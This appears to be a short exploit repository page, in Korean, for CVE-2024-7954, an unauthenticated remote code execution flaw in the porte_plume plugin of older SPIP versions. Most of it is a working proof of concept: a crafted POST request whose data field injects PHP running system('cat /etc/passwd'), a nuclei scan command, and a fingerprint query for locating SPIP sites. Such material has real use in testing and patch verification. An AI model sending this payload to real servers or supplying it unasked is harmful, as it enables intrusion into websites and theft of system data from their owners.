gh-ost00/cve-2024-7954-rceSPIP 버전 4.2.12 이하에서의 인증되지 않은 원격 코드 실행
SPIP 4.30-alpha2, 4.2.13 및 4.1.16 이전 버전에서 사용되는 porte_plume 플러그인은 임의 코드 실행 취약점에 취약합니다. 원격의 인증되지 않은 공격자는 조작된 HTTP 요청을 전송하여 SPIP 사용자 권한으로 임의의 PHP 코드를 실행할 수 있습니다.
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
nuclei --target {host.com} -t CVE-2024-7954.yaml
app="SPIP"